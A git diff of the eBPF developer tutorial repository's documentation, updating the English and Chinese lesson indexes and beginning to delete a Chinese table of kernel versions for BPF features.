的开发教程,提供了从入门到进阶的 eBPF 开发实践,包括基本概念、代码实例、实际应用等内容。和 BCC 不同的是,我们使用 libbpf、Cilium、libbpf-rs、eunomia-bpf 等框架进行开发,包含 C、Go、Rust 等语言的示例。 - -本教程不会进行复杂的概念讲解和场景介绍,主要希望提供一些 eBPF 小工具的案例(**非常短小,从二十行代码开始入门!**),来帮助 eBPF 应用的开发者快速上手 eBPF 的开发方法和技巧。教程内容可以在目录中找到,每个目录都是一个独立的 eBPF 工具案例。 - -教程关注于可观测性、网络、安全等等方面的 eBPF 示例。完整的代码和教程可以在 [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) GitHub 开源仓库中找到。**如果您认为本教程对您有所帮助,也请给我们一个 star 鼓励一下!** - -# 入门文档 - -包含简单的 eBPF 程序样例与介绍,这部分主要使用 `eunomia-bpf` 框架简化开发,并介绍了 eBPF 的基本使用方式和开发流程。 - -- [lesson 0-introduce](0-introduce/README.md) 介绍 eBPF 的基本概念和常见的开发工具 -- [lesson 1-helloworld](1-helloworld/README.md) 使用 eBPF 开发最简单的「Hello World」程序,介绍 eBPF 的基本框架和开发流程 -- [lesson 2-kprobe-unlink](2-kprobe-unlink/README.md) 在 eBPF 中使用 kprobe 捕获 unlink 系统调用 -- [lesson 3-fentry-unlink](3-fentry-unlink/README.md) 在 eBPF 中使用 fentry 捕获 unlink 系统调用 -- [lesson 4-opensnoop](4-opensnoop/README.md) 使用 eBPF 捕获进程打开文件的系统调用集合,使用全局变量在 eBPF 中过滤进程 pid -- [lesson 5-uprobe-bashreadline](5-uprobe-bashreadline/README.md) 在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用 -- [lesson 6-sigsnoop](6-sigsnoop/README.md) 捕获进程发送信号的系统调用集合,使用 hash map 保存状态 -- [lesson 7-execsnoop](7-execsnoop/README.md) 捕获进程执行时间,通过 perf event array 向用户态打印输出 -- [lesson 8-execsnoop](8-exitsnoop/README.md) 捕获进程退出事件,使用 ring buffer 向用户态打印输出 -- [lesson 9-runqlat](9-runqlat/README.md) 捕获进程调度延迟,以直方图方式记录 -- [lesson 10-hardirqs](10-hardirqs/README.md) 使用 hardirqs 或 softirqs 捕获中断事件 - -# 进阶文档和示例 - -我们开始主要基于 `libbpf` 构建完整的 eBPF 工程,并且把它和各种应用场景结合起来进行实践。 - -- [lesson 11-bootstrap](11-bootstrap/README.md) 使用 libbpf-boostrap 为 eBPF 编写原生的 libbpf 用户态代码,并建立完整的 libbpf 工程。 -- [lesson 12-profile](12-profile/README.md) 使用 eBPF 进行性能分析 -- [lesson 13-tcpconnlat](13-tcpconnlat/README.md) 记录 TCP 连接延迟,并使用 libbpf 在用户态处理数据 -- [lesson 14-tcpstates](14-tcpstates/README.md) 记录 TCP 连接状态与 TCP RTT -- [lesson 15-javagc](15-javagc/README.md) 使用 usdt 捕获用户态 Java GC 事件耗时 -- [lesson 16-memleak](16-memleak/README.md) 检测内存泄漏 -- [lesson 17-biopattern](17-biopattern/README.md) 捕获磁盘 IO 模式 -- [lesson 18-further-reading](18-further-reading/README.md) 更进一步的相关资料:论文列表、项目、博客等等 -- [lesson 19-lsm-connect](19-lsm-connect/README.md) 使用 LSM 进行安全检测防御 -- [lesson 20-tc](20-tc/README.md) 使用 eBPF 进行 tc 流量控制 -- [lesson 21-xdp](21-xdp/README.md) 使用 eBPF 进行 XDP 报文处理 - -# 高级主题 - -这里涵盖了一系列和 eBPF 相关的高级内容,包含在 Android 上使用 eBPF 程序、使用 eBPF 程序进行可能的攻击与防御、复杂的追踪等等。这部分主要基于 libbpf、Cilium 等框架进行开发。 - -- [在 Android 上使用 eBPF 程序](22-android/README.md) -- [使用 uprobe 捕获多种库的 SSL/TLS 明文数据](30-sslsniff/README.md) -- [使用 eBPF socket filter 或 syscall trace 追踪 HTTP 请求和其他七层协议](23-http/README.md) -- [使用 sockops 加速网络请求转发](29-sockops/README.md) -- [使用 eBPF 隐藏进程或文件信息](24-hide/README.md) -- [使用 bpf_send_signal 发送信号终止进程](25-signal/README.md) -- [使用 eBPF 添加 sudo 用户](26-sudo/README.md) -- [使用 eBPF 替换任意程序读取或写入的文本](27-replace/README.md) -- [BPF 的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序](28-detach/README.md) -- [eBPF 运行时的安全性与面临的挑战](18-further-reading/ebpf-security.zh.md) -- [使用 eBPF 修改系统调用参数](34-syscall/README.md) -- [eBPF开发实践:使用 user ring buffer 向内核异步发送信息](35-user-ringbuf/README.md) -- [用户空间 eBPF 运行时:深度解析与应用实践](36-userspace-ebpf/README.md) -- [使用 uprobe 追踪 Rust 应用程序](37-uprobe-rust/README.md) -- [借助 eBPF 和 BTF,让用户态也能一次编译、到处运行](38-btf-uprobe/README.md) - -# bcc 和 bpftrace 教程与文档 - -- [BPF Features by Linux Kernel Version](bcc-documents/kernel-versions.md) -- [Kernel Configuration for BPF Features](bcc-documents/kernel_config.md) -- [bcc Reference Guide](bcc-documents/reference_guide.md) -- [Special Filtering](bcc-documents/special_filtering.md) -- [bcc Tutorial](bcc-documents/tutorial.md) -- [bcc Python Developer Tutorial](bcc-documents/tutorial_bcc_python_developer.md) -- [bpftrace Tutorial](bpftrace-tutorial/README.md) +# eBPF Tutorial by Example: Learning CO-RE eBPF Step by Step + +This is a development tutorial for eBPF based on CO-RE (Compile Once, Run Everywhere). It provides practical eBPF development practices from beginner to advanced, including basic concepts, code examples, and real-world applications. Unlike BCC, we use frameworks like libbpf, Cilium, libbpf-rs, and eunomia-bpf for development, with examples in languages such as C, Go, and Rust. + +This tutorial does not cover complex concepts and scenario introductions. Its main purpose is to provide examples of eBPF tools (**very short, starting with twenty lines of code!**) to help eBPF application developers quickly grasp eBPF development methods and techniques. The tutorial content can be found in the directory, with each directory being an independent eBPF tool example. + +For the complete source code of the tutorial, please refer to the repo [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) on GitHub. **If you find this tutorial helpful, please give us a star!** + +## Table of Contents + +### Getting Started Examples + +This section contains simple eBPF program examples and introductions. It primarily utilizes the `eunomia-bpf` framework to simplify development and introduces the basic usage and development process of eBPF. + +- [lesson 0-introduce](0-introduce/README.md) Introduction to Core Concepts and Tools +- [lesson 1-helloworld](1-helloworld/README.md) Hello World, Framework and Development +- [lesson 2-kprobe-unlink](2-kprobe-unlink/README.md) Monitoring unlink System Calls with kprobe +- [lesson 3-fentry-unlink](3-fentry-unlink/README.md) Monitoring unlink System Calls with fentry +- [lesson 4-opensnoop](4-opensnoop/README.md) Capturing Opening Files and Filter with Global Variables +- [lesson 5-uprobe-bashreadline](5-uprobe-bashreadline/README.md) Capturing readline Function Calls with Uprobe +- [lesson 6-sigsnoop](6-sigsnoop/README.md) Capturing Signal Sending and Store State with Hash Maps +- [lesson 7-execsnoop](7-execsnoop/README.md) Capturing Process Execution, Output with perf event array +- [lesson 8-exitsnoop](8-exitsnoop/README.md) Monitoring Process Exit Events, Output with Ring Buffer +- [lesson 9-runqlat](9-runqlat/README.md) Capturing Scheduling Latency and Recording as Histogram +- [lesson 10-hardirqs](10-hardirqs/README.md) Capturing Interrupts with hardirqs or softirqs +### Advanced Documents and Examples + +We start to build complete eBPF projects mainly based on `libbpf` and combine them with various application scenarios for practical use. + +- [lesson 11-bootstrap](11-bootstrap/README.md) Develop User-Space Programs with libbpf and Trace exec() and exit() +- [lesson 12-profile](12-profile/README.md) Using eBPF Program Profile for Performance Analysis +- [lesson 13-tcpconnlat](13-tcpconnlat/README.md) Statistics of TCP Connection Delay with libbpf +- [lesson 14-tcpstates](14-tcpstates/README.md) Recording TCP Connection Status and TCP RTT +- [lesson 15-javagc](15-javagc/README.md) Capturing User-Space Java GC Duration Using USDT +- [lesson 16-memleak](16-memleak/README.md) Monitoring Memory Leaks +- [lesson 17-biopattern](17-biopattern/README.md) Count Random/Sequential Disk I/O +- [lesson 18-further-reading](18-further-reading/README.md) More Reference Materials: papers, projects +- [lesson 19-lsm-connect](19-lsm-connect/README.md) Security Detection and Defense using LSM +- [lesson 20-tc](20-tc/README.md) tc Traffic Control +- [lesson 21-xdp](21-xdp/README.md) Programmable Packet Processing with XDP +### In-Depth Topics + +This section covers advanced topics related to eBPF, including using eBPF programs on Android, possible attacks and defenses using eBPF programs, and complex tracing. Combining the user-mode and kernel-mode aspects of eBPF can bring great power (as well as security risks). + + + +GPU: + +- [lesson 47-cuda-events](47-cuda-events/README.md) Tracing CUDA GPU Operations +- [lesson xpu/npu-kernel-driver](xpu/npu-kernel-driver/README.md) Tracing Intel NPU Kernel Driver Operations +- [xpu flamegraph](xpu/flamegraph/README.md) Building a GPU Flamegraph Profiler with CUPTI +- [lesson xpu/gpu-kernel-driver](xpu/gpu-kernel-driver/README.md) Monitoring GPU Driver Activity with Kernel Tracepoints + + +Scheduler: + +- [lesson 44-scx-simple](44-scx-simple/README.md) Introduction to the BPF Scheduler +- [lesson 45-scx-nest](45-scx-nest/README.md) Implementing the `scx_nest` Scheduler + + +Networking: + +- [lesson 23-http](23-http/README.md) L7 Tracing with eBPF: HTTP and Beyond via Socket Filters and Syscall Tracepoints +- [lesson 29-sockops](29-sockops/README.md) Accelerating Network Request Forwarding with Sockops +- [lesson 41-xdp-tcpdump](41-xdp-tcpdump/README.md) Capturing TCP Information with XDP +- [lesson 42-xdp-loadbalancer](42-xdp-loadbalancer/README.md) XDP Load Balancer +- [lesson 46-xdp-test](46-xdp-test/README.md) Building a High-Performance XDP Packet Generator + + +Tracing: + +- [lesson 30-sslsniff](30-sslsniff/README.md) Capturing SSL/TLS Plain Text Data Using uprobe +- [lesson 31-goroutine](31-goroutine/README.md) Using eBPF to Trace Go Routine States +- [lesson 33-funclatency](33-funclatency/README.md) Measuring Function Latency with eBPF +- [lesson 37-uprobe-rust](37-uprobe-rust/README.md) Tracing User Space Rust Applications with Uprobe +- [lesson 39-nginx](39-nginx/README.md) Using eBPF to Trace Nginx Requests +- [lesson 40-mysql](40-mysql/README.md) Using eBPF to Trace MySQL Queries +- [lesson 48-energy](48-energy/README.md) Energy Monitoring for Process-Level Power Analysis + + +Security: + +- [lesson 24-hide](24-hide/README.md) Hiding Process or File Information +- [lesson 25-signal](25-signal/README.md) Using bpf_send_signal to Terminate Malicious Processes in eBPF +- [lesson 26-sudo](26-sudo/README.md) Privilege Escalation via File Content Manipulation +- [lesson 27-replace](27-replace/README.md) Transparent Text Replacement in File Reads +- [lesson 28-detach](28-detach/README.md) Running eBPF After Application Exits: The Lifecycle of eBPF Programs +- [lesson 34-syscall](34-syscall/README.md) Modifying System Call Arguments with eBPF + + +Features: + +- [lesson 35-user-ringbuf](35-user-ringbuf/README.md) Asynchronously Send to Kernel with User Ring Buffer +- [lesson 36-userspace-ebpf](36-userspace-ebpf/README.md) Userspace eBPF Runtimes: Overview and Applications +- [lesson 38-btf-uprobe](38-btf-uprobe/README.md) Expanding eBPF Compile Once, Run Everywhere(CO-RE) to Userspace Compatibility +- [lesson 43-kfuncs](43-kfuncs/README.md) Extending eBPF Beyond Its Limits: Custom kfuncs in Kernel Modules +- [features bpf_wq](features/bpf_wq/README.md) BPF Workqueues for Asynchronous Sleepable Tasks +- [features bpf_iters](features/bpf_iters/README.md) BPF Iterators for Kernel Data Export +- [features struct_ops](features/struct_ops/README.md) BPF struct_ops Example with Custom Kernel Module +- [features bpf_arena](features/bpf_arena/README.md) BPF Arena for Zero-Copy Shared Memory + +Other: + +- [lesson 49-hid](49-hid/README.md) Fixing Broken HID Devices Without Kernel Patches + + +Android: + +- [lesson 22-android](22-android/README.md) Using eBPF Programs on Android + +Continuously updating... diff --git a/src/SUMMARY.zh.md b/src/SUMMARY.zh.md new file mode 100644 index 00000000..54f4e249 --- /dev/null +++ b/src/SUMMARY.zh.md @@ -0,0 +1,100 @@ +# eBPF 开发实践教程:基于 CO-RE,通过小工具快速上手 eBPF 开发 + +这是一个基于 `CO-RE`(一次编译,到处运行)的 eBPF 的开发教程,提供了从入门到进阶的 eBPF 开发实践,包括基本概念、代码实例、实际应用等内容。和 BCC 不同的是,我们使用 libbpf、Cilium、libbpf-rs、eunomia-bpf 等框架进行开发,包含 C、Go、Rust 等语言的示例。 + +本教程不会进行复杂的概念讲解和场景介绍,主要希望提供一些 eBPF 小工具的案例(**非常短小,从二十行代码开始入门!**),来帮助 eBPF 应用的开发者快速上手 eBPF 的开发方法和技巧。教程内容可以在目录中找到,每个目录都是一个独立的 eBPF 工具案例。 + +教程关注于可观测性、网络、安全等等方面的 eBPF 示例。完整的代码和教程可以在 [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) GitHub 开源仓库中找到。**如果您认为本教程对您有所帮助,也请给我们一个 star 鼓励一下!** + +## 目录 + +### 入门示例 + +这一部分包含简单的 eBPF 程序示例和介绍。主要利用 `eunomia-bpf` 框架简化开发,介绍 eBPF 的基本用法和开发流程。 + +- [lesson 0-introduce](0-introduce/README.zh.md) eBPF 示例教程 0:核心概念与工具简介 +- [lesson 1-helloworld](1-helloworld/README.zh.md) eBPF 入门开发实践教程一:Hello World,基本框架和开发流程 +- [lesson 2-kprobe-unlink](2-kprobe-unlink/README.zh.md) eBPF 入门开发实践教程二:在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用 +- [lesson 3-fentry-unlink](3-fentry-unlink/README.zh.md) eBPF 入门开发实践教程三:在 eBPF 中使用 fentry 监测捕获 unlink 系统调用 +- [lesson 4-opensnoop](4-opensnoop/README.zh.md) eBPF 入门开发实践教程四:在 eBPF 中捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid +- [lesson 5-uprobe-bashreadline](5-uprobe-bashreadline/README.zh.md) eBPF 入门开发实践教程五:在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用 +- [lesson 6-sigsnoop](6-sigsnoop/README.zh.md) eBPF 入门开发实践教程六:捕获进程发送信号的系统调用集合,使用 hash map 保存状态 +- [lesson 7-execsnoop](7-execsnoop/README.zh.md) eBPF 入门实践教程七:捕获进程执行事件,通过 perf event array 向用户态打印输出 +- [lesson 8-exitsnoop](8-exitsnoop/README.zh.md) eBPF 入门开发实践教程八:在 eBPF 中使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出 +- [lesson 9-runqlat](9-runqlat/README.zh.md) eBPF 入门开发实践教程九:捕获进程调度延迟,以直方图方式记录 +- [lesson 10-hardirqs](10-hardirqs/README.zh.md) eBPF 入门开发实践教程十:在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件 +### 高级文档和示例 + +我们开始构建完整的 eBPF 项目,主要基于 `libbpf`,并将其与各种应用场景结合起来,以便实际使用。 + +- [lesson 11-bootstrap](11-bootstrap/README.zh.md) eBPF 入门开发实践教程十一:在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用 +- [lesson 12-profile](12-profile/README.zh.md) eBPF 入门实践教程十二:使用 eBPF 程序 profile 进行性能分析 +- [lesson 13-tcpconnlat](13-tcpconnlat/README.zh.md) eBPF入门开发实践教程十三:统计 TCP 连接延时,并使用 libbpf 在用户态处理数据 +- [lesson 14-tcpstates](14-tcpstates/README.zh.md) eBPF入门实践教程十四:记录 TCP 连接状态与 TCP RTT +- [lesson 15-javagc](15-javagc/README.zh.md) eBPF 入门实践教程十五:使用 USDT 捕获用户态 Java GC 事件耗时 +- [lesson 16-memleak](16-memleak/README.zh.md) eBPF 入门实践教程十六:编写 eBPF 程序 Memleak 监控内存泄漏 +- [lesson 17-biopattern](17-biopattern/README.zh.md) eBPF 入门实践教程十七:编写 eBPF 程序统计随机/顺序磁盘 I/O +- [lesson 18-further-reading](18-further-reading/README.zh.md) 更多的参考资料:论文、项目等等 +- [lesson 19-lsm-connect](19-lsm-connect/README.zh.md) eBPF 入门实践教程:使用 LSM 进行安全检测防御 +- [lesson 20-tc](20-tc/README.zh.md) eBPF 入门实践教程二十:使用 eBPF 进行 tc 流量控制 +- [lesson 21-xdp](21-xdp/README.zh.md) eBPF 入门实践教程二十一: 使用 XDP 进行可编程数据包处理 +### 深入主题 + +这一部分涵盖了与 eBPF 相关的高级主题,包括在 Android 上使用 eBPF 程序、利用 eBPF 程序进行的潜在攻击和防御以及复杂的追踪。结合用户模式和内核模式的 eBPF 可以带来强大的能力(也可能带来安全风险)。 + +GPU: + +- [lesson 47-cuda-events](47-cuda-events/README.zh.md) eBPF 教程:追踪 CUDA GPU 操作 +- [lesson xpu/npu-kernel-driver](xpu/npu-kernel-driver/README.zh.md) eBPF 实例教程:跟踪 Intel NPU 内核驱动操作 +- [xpu flamegraph](xpu/flamegraph/README.zh.md) eBPF 示例:使用 CUPTI 构建 GPU 火焰图分析器 +- [lesson xpu/gpu-kernel-driver](xpu/gpu-kernel-driver/README.zh.md) eBPF 实例教程:使用内核跟踪点监控 GPU 驱动活动 +调度器: + +- [lesson 44-scx-simple](44-scx-simple/README.zh.md) eBPF 教程:BPF 调度器入门 +- [lesson 45-scx-nest](45-scx-nest/README.zh.md) eBPF 示例教程:实现 `scx_nest` 调度器 +网络: + +- [lesson 23-http](23-http/README.zh.md) 通过 eBPF socket filter 或 syscall trace 追踪 HTTP 请求等七层协议 - eBPF 实践教程 +- [lesson 29-sockops](29-sockops/README.zh.md) eBPF 开发实践:使用 sockops 加速网络请求转发 +- [lesson 41-xdp-tcpdump](41-xdp-tcpdump/README.zh.md) eBPF 示例教程:使用 XDP 捕获 TCP 信息 +- [lesson 42-xdp-loadbalancer](42-xdp-loadbalancer/README.zh.md) eBPF 开发者教程: 简单的 XDP 负载均衡器 +- [lesson 46-xdp-test](46-xdp-test/README.zh.md) eBPF 实例教程:构建高性能 XDP 数据包生成器 +安全: + +- [lesson 24-hide](24-hide/README.zh.md) eBPF 开发实践:使用 eBPF 隐藏进程或文件信息 +- [lesson 25-signal](25-signal/README.zh.md) eBPF 入门实践教程:用 bpf_send_signal 发送信号终止恶意进程 +- [lesson 26-sudo](26-sudo/README.zh.md) 文件操纵实现 sudo 权限提升 +- [lesson 27-replace](27-replace/README.zh.md) 替换任意程序读取或者写入的文本 +- [lesson 28-detach](28-detach/README.zh.md) 在应用程序退出后运行 eBPF 程序:eBPF 程序的生命周期 +- [lesson 34-syscall](34-syscall/README.zh.md) eBPF 开发实践:使用 eBPF 修改系统调用参数 +特性: + +- [lesson 35-user-ringbuf](35-user-ringbuf/README.zh.md) eBPF开发实践:使用 user ring buffer 向内核异步发送信息 +- [lesson 36-userspace-ebpf](36-userspace-ebpf/README.zh.md) 用户空间 eBPF 运行时:深度解析与应用实践 +- [lesson 38-btf-uprobe](38-btf-uprobe/README.zh.md) 借助 eBPF 和 BTF,让用户态也能一次编译、到处运行 +- [lesson 43-kfuncs](43-kfuncs/README.zh.md) 超越 eBPF 的极限:在内核模块中定义自定义 kfunc +- [features bpf_wq](features/bpf_wq/README.zh.md) eBPF 教程:BPF 工作队列用于异步可睡眠任务 +- [features bpf_iters](features/bpf_iters/README.zh.md) eBPF 教程:BPF 迭代器用于内核数据导出 +- [features bpf_arena](features/bpf_arena/README.zh.md) eBPF 实例教程:BPF Arena 零拷贝共享内存 +特性: + +- [lesson 49-hid](49-hid/README.zh.md) eBPF 教程:无需内核补丁修复故障的 HID 设备 +Android: + +- [lesson 22-android](22-android/README.zh.md) 在 Android 上使用 eBPF 程序 + +持续更新中... + +## 推荐书籍:《深入理解 eBPF 与可观测性》 + +在当今云原生、人工智能和大模型迅猛发展的时代,理解和优化操作系统性能变得尤为重要。龙蜥社区多位资深专家历时两年,联袂打造业内首本系统性穿透 Linux 内核观测技术指南——《深入理解 eBPF 与可观测性》。 + +本书不仅深入剖析了 eBPF 的底层原理和开发框架,结合了网络、内存、I/O、调度等六大领域,提供了原理和代码级的深度解析,包含了丰富的生产级实践代码,助力读者快速掌握 eBPF 技术,应用于网络流量分析、故障排查、性能调优等实际场景。 + +无论是内核开发者、运维工程师、eBPF 技术爱好者,还是可观测领域、操作系统领域专家,这本书都将成为您洞悉 Linux 系统的必备武器。 + +![书籍推荐](https://github.com/eunomia-bpf/bpf-developer-tutorial/raw/main/src/third_party/book-picture.png) + +欢迎关注我们的微信公众号,获取更多 eBPF 相关的技术文章、教程更新和社区动态! + +![微信公众号](https://github.com/eunomia-bpf/bpf-developer-tutorial/raw/main/src/third_party/wechat-qrcode.png) diff --git a/src/SUMMARY_en.md b/src/SUMMARY_en.md deleted file mode 100644 index 49c766b0..00000000 --- a/src/SUMMARY_en.md +++ /dev/null @@ -1,83 +0,0 @@ -# eBPF Tutorial by Example: Learning CO-RE eBPF Step by Step - -[![CI](https://github.com/eunomia-bpf/bpf-developer-tutorial/actions/workflows/main.yml/badge.svg)](https://github.com/eunomia-bpf/bpf-developer-tutorial/actions/workflows/main.yml) - -This is a development tutorial for eBPF based on CO-RE (Compile Once, Run Everywhere). It provides practical eBPF development practices from beginner to advanced, including basic concepts, code examples, and real-world applications. Unlike BCC, we use frameworks like libbpf, Cilium, libbpf-rs, and eunomia-bpf for development, with examples in languages such as C, Go, and Rust. - -This tutorial does not cover complex concepts and scenario introductions. Its main purpose is to provide examples of eBPF tools (**very short, starting with twenty lines of code!**) to help eBPF application developers quickly grasp eBPF development methods and techniques. The tutorial content can be found in the directory, with each directory being an independent eBPF tool example. - -For the complete source code of the tutorial, please refer to the repo [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) on GitHub. **If you find this tutorial helpful, please give us a star!** - -# Getting Started Examples - -This section contains simple eBPF program examples and introductions. It primarily utilizes the `eunomia-bpf` framework to simplify development and introduces the basic usage and development process of eBPF. - -- [lesson 0-introduce](0-introduce/README.md) Introduces basic concepts of eBPF and common development tools -- [lesson 1-helloworld](1-helloworld/README.md) Develops the simplest "Hello World" program using eBPF and introduces the basic framework and development process of eBPF -- [lesson 2-kprobe-unlink](2-kprobe-unlink/README.md) Uses kprobe in eBPF to capture the unlink system call -- [lesson 3-fentry-unlink](3-fentry-unlink/README.md) Uses fentry in eBPF to capture the unlink system call -- [lesson 4-opensnoop](4-opensnoop/README.md) Uses eBPF to capture the system call collection of processes opening files, and filters process PIDs in eBPF using global variables -- [lesson 5-uprobe-bashreadline](5-uprobe-bashreadline/README.md) Uses uprobe in eBPF to capture the readline function calls in bash -- [lesson 6-sigsnoop](6-sigsnoop/README.md) Captures the system call collection of processes sending signals and uses a hash map to store states -- [lesson 7-execsnoop](7-execsnoop/README.md) Captures process execution times and prints output to user space through perf event array -- [lesson 8-exitsnoop](8-exitsnoop/README.md) Captures process exit events and prints output to user space using a ring buffer -- [lesson 9-runqlat](9-runqlat/README.md) Captures process scheduling delays and records them in histogram format -- [lesson 10-hardirqs](10-hardirqs/README.md) Captures interrupt events using hardirqs or softirqs - -# Advanced Documents and Examples - -We start to build complete eBPF projects mainly based on `libbpf` and combine them with various application scenarios for practical use. - -- [lesson 11-bootstrap](11-bootstrap/README.md) Writes native libbpf user space code for eBPF using libbpf-bootstrap and establishes a complete libbpf project. -- [lesson 12-profile](12-profile/README.md) Performs performance analysis using eBPF -- [lesson 13-tcpconnlat](13-tcpconnlat/README.md) Records TCP connection latency and processes data in user space using libbpf -- [lesson 14-tcpstates](14-tcpstates/README.md) Records TCP connection state and TCP RTT.- [lesson 15-javagc](15-javagc/README.md) Capture user-level Java GC event duration using usdt -- [lesson 16-memleak](16-memleak/README.md) Detect memory leaks -- [lesson 17-biopattern](17-biopattern/README.md) Capture disk IO patterns -- [lesson 18-further-reading](18-further-reading/README.md) Further reading: papers list, projects, blogs, etc. -- [lesson 19-lsm-connect](19-lsm-connect/README.md) Use LSM for security detection and defense -- [lesson 20-tc](20-tc/README.md) Use eBPF for tc traffic control -- [lesson 21-xdp](21-xdp/README.md) Use eBPF for XDP packet processing - -# In-Depth Topics - -This section covers advanced topics related to eBPF, including using eBPF programs on Android, possible attacks and defenses using eBPF programs, and complex tracing. Combining the user-mode and kernel-mode aspects of eBPF can bring great power (as well as security risks). - -Android: - -- [Using eBPF programs on Android](22-android/README.md) - -Networking and tracing: - -- [Tracing HTTP requests or other layer-7 protocols using eBPF socket filter or syscall trace](23-http/README.md) -- [Accelerating network request forwarding using sockops](29-sockops/README.md) -- [Capturing Plain Text Data of Various Libraries' SSL/TLS Using uprobe](30-sslsniff/README.md) -- [Use uprobe to trace Rust programs](37-uprobe-rust/README.md) - -Security: - -- [Use eBPF to modify syscall parameters](34-syscall/README.md) -- [The Secure Path Forward for eBPF: Challenges and Innovations](18-further-reading/ebpf-security.md) -- [Hiding process or file information using eBPF](24-hide/README.md) -- [Terminating processes by sending signals using bpf_send_signal](25-signal/README.md) -- [Adding sudo users using eBPF](26-sudo/README.md) -- [Replacing text read or written by any program using eBPF](27-replace/README.md) -- [BPF lifecycle: Running eBPF programs continuously in Detached mode after user-mode applications exit](28-detach/README.md) -- [Modifying System Call Parameters with eBPF](34-syscall/README.md) - -Other: - -- [Using user ring buffer to send information to the kernel](35-user-ringbuf/README.md) -- [Userspace eBPF Runtimes: Overview and Applications](36-userspace-ebpf/README.md) -- [Compile Once, Run Everywhere for userspace with eBPF and BTF](38-btf-uprobe/README.md) - -# bcc and bpftrace tutorial - -For reference: - -- [BPF Features by Linux Kernel Version](bcc-documents/kernel-versions.md) -- [Kernel Configuration for BPF Features](bcc-documents/kernel_config.md) -- [bcc Reference Guide](bcc-documents/reference_guide.md) -- [Special Filtering](bcc-documents/special_filtering.md) -- [bcc Tutorial](bcc-documents/tutorial.md)".- [bcc Python Developer Tutorial](bcc-documents/tutorial_bcc_python_developer.md) -- [bpftrace Tutorial](bpftrace-tutorial/README.md) \ No newline at end of file diff --git a/src/bcc-documents/kernel-versions.md b/src/bcc-documents/kernel-versions.md deleted file mode 100644 index 797f1a3a..00000000 --- a/src/bcc-documents/kernel-versions.md +++ /dev/null @@ -1,614 +0,0 @@ -# Linux 内核版本的 BPF 功能 - -## eBPF支持 - -内核版本 | 提交 ---------|------ -3.15 | [`bd4cf0ed331a`](https://github.com/torvalds/linux/commit/bd4cf0ed331a275e9bf5a49e6d0fd55dffc551b8) - -## JIT编译 - -可以使用以下命令获取内核支持的体系结构列表: - -```sh -git grep HAVE_EBPF_JIT arch/ -``` - -功能 / 体系结构 | 内核版本 | 提交 ------------------|----------|------ -x86\_64 | 3.16 | [`622582786c9e`](https://github.com/torvalds/linux/commit/622582786c9e041d0bd52bde201787adeab249f8) -ARM64 | 3.18 | [`e54bcde3d69d`](https://github.com/torvalds/linux/commit/e54bcde3d69d40023ae77727213d14f920eb264a) -s390 | 4.1 | [`054623105728`](https://github.com/torvalds/linux/commit/054623105728b06852f077299e2bf1bf3d5f2b0b) -JIT机器的常量混淆 | 4.7 | [`4f3446bb809f`](https://github.com/torvalds/linux/commit/4f3446bb809f20ad56cadf712e6006815ae7a8f9) -PowerPC64 | 4.8 | [`156d0e290e96`](https://github.com/torvalds/linux/commit/156d0e290e969caba25f1851c52417c14d141b24) -常量混淆 - PowerPC64 | 4.9 | [`b7b7013cac55`](https://github.com/torvalds/linux/commit/b7b7013cac55d794940bd9cb7b7c55c9dececac4) -Sparc64 | 4.12 | [`7a12b5031c6b`](https://github.com/torvalds/linux/commit/7a12b5031c6b947cc13918237ae652b536243b76) -MIPS | 4.13 | [`f381bf6d82f0`](https://github.com/torvalds/linux/commit/f381bf6d82f032b7410185b35d000ea370ac706b) -ARM32 | 4.14 | [`39c13c204bb1`](https://github.com/torvalds/linux/commit/39c13c204bb1150d401e27d41a9d8b332be47c49) -x86\_32 | 4.18 | [`03f5781be2c7`](https://github.com/torvalds/linux/commit/03f5781be2c7b7e728d724ac70ba10799cc710d7) -RISC-V RV64G | 5.1 | [`2353ecc6f91f`](https://github.com/torvalds/linux/commit/2353ecc6f91fd15b893fa01bf85a1c7a823ee4f2)RISC-V RV32G | 5.7 | [`5f316b65e99f`](https://github.com/torvalds/linux/commit/5f316b65e99f109942c556dc8790abd4c75bcb34) -PowerPC32 | 5.13 | [`51c66ad849a7`](https://github.com/torvalds/linux/commit/51c66ad849a703d9bbfd7704c941827aed0fd9fd) -LoongArch | 6.1 | [`5dc615520c4d`](https://github.com/torvalds/linux/commit/5dc615520c4dfb358245680f1904bad61116648e) - -## 主要特性 - -其中几个(但不是全部)_主要特性_ 可以转换为 eBPF 程序类型。 -您的内核支持的此类程序类型的列表可以在文件 [`include/uapi/linux/bpf.h`](https://github.com/torvalds/linux/blob/master/include/uapi/linux/bpf.h) 中找到: - -```sh -git grep -W 'bpf_prog_type {' include/uapi/linux/bpf.h -``` - -特性 | 内核版本 | 提交 -----|---------|----- -`AF_PACKET` (libpcap/tcpdump, `cls_bpf` 分类器, netfilter 的 `xt_bpf`, team 驱动程序的负载均衡模式…) | 3.15 | [`bd4cf0ed331a`](https://github.com/torvalds/linux/commit/bd4cf0ed331a275e9bf5a49e6d0fd55dffc551b8) -内核助手 | 3.15 | [`bd4cf0ed331a`](https://github.com/torvalds/linux/commit/bd4cf0ed331a275e9bf5a49e6d0fd55dffc551b8) -`bpf()` 系统调用 | 3.18 | [`99c55f7d47c0`](https://github.com/torvalds/linux/commit/99c55f7d47c0dc6fc64729f37bf435abf43f4c60) -Maps (_又名_ 表; 详见下文) | 3.18 | [`99c55f7d47c0`](https://github.com/torvalds/linux/commit/99c55f7d47c0dc6fc64729f37bf435abf43f4c60) -BPF 附加到套接字 | 3.19 | [`89aa075832b0`](https://github.com/torvalds/linux/commit/89aa075832b0da4402acebd698d0411dcc82d03e) -BPF 附加到 `kprobes` | 4.1 | 